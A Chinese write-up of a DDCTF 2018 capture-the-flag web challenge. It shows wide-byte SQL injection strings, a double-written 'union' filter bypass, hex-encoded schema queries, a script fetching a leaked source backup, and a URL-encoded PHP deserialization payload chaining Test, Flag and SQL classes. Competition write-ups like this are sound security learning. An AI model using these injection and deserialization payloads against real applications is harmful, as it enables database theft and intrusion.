注入的奧妙
題目:
本題flag不需要包含DDCTF{},為[0-9a-f]+ http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/well/getmessage/1
解答:
按照題目要求,這題應該是個注入題,毫無疑問。
查看源碼,發現給了big5的編碼表,此時猜測可以通過寬字節進行注入。
1餐' and 1=1%23
orderby,發現有三個字段,嘗試構造聯合查詢語句,發現union會被直接刪除。此時雙寫繞過即可。
此時查詢數據庫:
1餐' uniunionon select SCHEMA_NAME,2,3 from information_schema.SCHEMATA %23
復制
然后繼續查詢表名:
[
然后繼續查詢表名:
1餐' uniunionon select TABLE_NAME,2,3 from information_schema.tables where table_schema=sqli %23
此時發生了一件尷尬的事情。我們無法繼續構造單雙引號,這樣數據庫會報以下錯誤。

此時祭出hex大法。數據庫會直接將0x開頭的進行轉碼解析。
1餐' uniunionon select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x73716c69 %23
此時成功的爆出來了三個表
message,route_rules,users
然后就沒啥好說的了。挨個查著玩就可以了,基本同上。然后查字段啥的。
查路由的時候,有點小坑,不知道后端怎么解析的,會將一列數據解析到多列,此時用mysql的to_base64()函數即可。
通過路由信息,我們可以發現存在static/bootstrap/css/backup.css源碼泄露。
通過以下三行腳本即可保存該文件。
import requestsf=open('a.zip','wb')f.write(requests.get('http://116.85.48.105:5033/static/bootstrap/css/backup.css').content)
接下來就是對PHP代碼的審計。
首先,分析路由。我們從數據表內知道了有以下幾條規則
get/:u/well/getmessage/:s Well#getmessage
get/:u/justtry/self/:s JustTry#self
post*/:u/justtry/try JustTry#try
首先第一條,就是咱剛剛實現注入的那一個。不用多看,邏輯差不多清楚。
第二,三條,調用的都是justtry類下的某個方法。所以可以跟進去,重點分析下這個函數。

此時看見了 unserialize ,倍感親切,這不就是反序列化么。
此時就需要考慮反序列化了。他后面限制了幾個類,此時我們可以一一打開分析。
test類,顧名思義,就是一個測試用的。

此時我們發現他的析構函數中,有一條特殊的句子。跟進去之后發現,他會將falg打印出來。
仔細分析源碼后發現,這個test類通過調用Flag類來獲取flag,然而Flag類又需要調用SQL類來進行數據庫查詢。
所以,這個反序列化是個相當大的工程。自己手寫是無望了。
首先嘗試了一下,自己寫三個類的調用。。。然而失敗了。
最后復現源碼,并在try方法打印序列化對象后。(uuid是你的url那串,uuid類下正則可以看出來。)

發現,他是有一個命名空間的要求。序列化后語句如下
O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"4eaee5db-2304-4d6d-aa9c-962051d99a41";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":2:{s:3:"dbc";N;s:3:"pdo";N;}}}
最終payload如下
url:http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/justtry/try/postdata:serialize=%4f%3a%31%37%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%54%65%73%74%22%3a%32%3a%7b%73%3a%39%3a%22%75%73%65%72%5f%75%75%69%64%22%3b%73%3a%33%36%3a%22%34%65%61%65%65%35%64%62%2d%32%33%30%34%2d%34%64%36%64%2d%61%61%39%63%2d%39%36%32%30%35%31%64%39%39%61%34%31%22%3b%73%3a%32%3a%22%66%6c%22%3b%4f%3a%31%37%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%46%6c%61%67%22%3a%31%3a%7b%73%3a%33%3a%22%73%71%6c%22%3b%4f%3a%31%36%3a%22%49%6e%64%65%78%5c%48%65%6c%70%65%72%5c%53%51%4c%22%3a%32%3a%7b%73%3a%33%3a%22%64%62%63%22%3b%4e%3b%73%3a%33%3a%22%70%64%6f%22%3b%4e%3b%7d%7d%7d
2018DDCTF-Writeup